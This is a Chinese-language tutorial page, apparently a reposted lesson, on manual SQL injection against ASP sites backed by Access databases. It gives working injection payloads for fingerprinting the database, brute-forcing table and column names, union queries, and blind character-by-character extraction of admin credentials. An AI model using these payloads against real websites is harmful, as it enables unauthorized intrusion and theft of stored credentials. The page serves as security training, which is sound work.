网络安全进阶学习第十二课——SQL手工注入3(Access数据库)-Toy模板网

这篇具有很好参考价值的文章主要介绍了网络安全进阶学习第十二课——SQL手工注入3(Access数据库)。希望对大家有所帮助。如果存在错误或未考虑完全的地方，请大家不吝赐教，您也可以点击"举报违法"按钮提交疑问。

注入流程：

判断数据库类型 ——> 判断表名 ——> 判断列名 ——> 判断列名长度 ——> 查出数据。

asp的网站，常用数据库为access、sqlserver。

and exsits (select * from msysobjects)>0 access
and exsits (select * from sysobjects)>0 sqlserver

上述语句会返回1或者0。
msysobjects是access的默认数据库，
sysobjects是sqlserver的默认数据库。

如图：
网络安全进阶学习第十二课——SQL手工注入3(Access数据库),web安全,web安全,学习

这里就能判断是access的数据库。

遍历表名：and exists (select * from 表名)
#存在就返回正常页面，不存在就报错。

举例：
and exists (select * from admin_user)

使用BP对后面的admin_user所在位置的值进行遍历
假设这里跑出来表名就是：admin_user

遍历列名：and exists (select 列名 from 表名)
#存在就返回正常页面，不存在就报错。

举例：
and exists (select admin from admin_user)

已经得知表名是admin_user，使用BP对列名admin所在位置的值进行遍历
假设这里跑出来列名就是：admin

order by 7
网络安全进阶学习第十二课——SQL手工注入3(Access数据库),web安全,web安全,学习
前提：页面中需要有显示位

使用联合查询
union select 1,2,3,4,5,6,7 from admin_user

and (select top 1 len(列名) from 表名)>5
#此为此列第一条数据的长度，判断其是不是大于5

and (select top 1 len(列名) from 表名)=5
#此为此列第一条数据的长度是不是等于5

举例：
and (select top 1 len(admin) from admin_user)=5

假如返回是真，那就说明admin_user这个表里面对应的admin这一列的第一个数据长度时5.

and (select top 1 asc(mid(列名,位数,1)) from admin)=97
#mid()用于从文本中提取字段，mid(列名，起始位置，要返回的字符数)
#asc()是进行ASCII编码

举例：
and (select top 1 asc(mid(admin,1,1)) from admin_user)=97（97对应的字母为a）

#若返回真，说明admin_user这个表中admin字段对应的那一列的第一条数据的第一位是 ’ a ’文章来源地址https://www.toymoban.com/news/detail-668526.html

到了这里，关于网络安全进阶学习第十二课——SQL手工注入3(Access数据库)的文章就介绍完了。如果您还想了解更多内容，请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章，希望大家以后多多支持TOY模板网！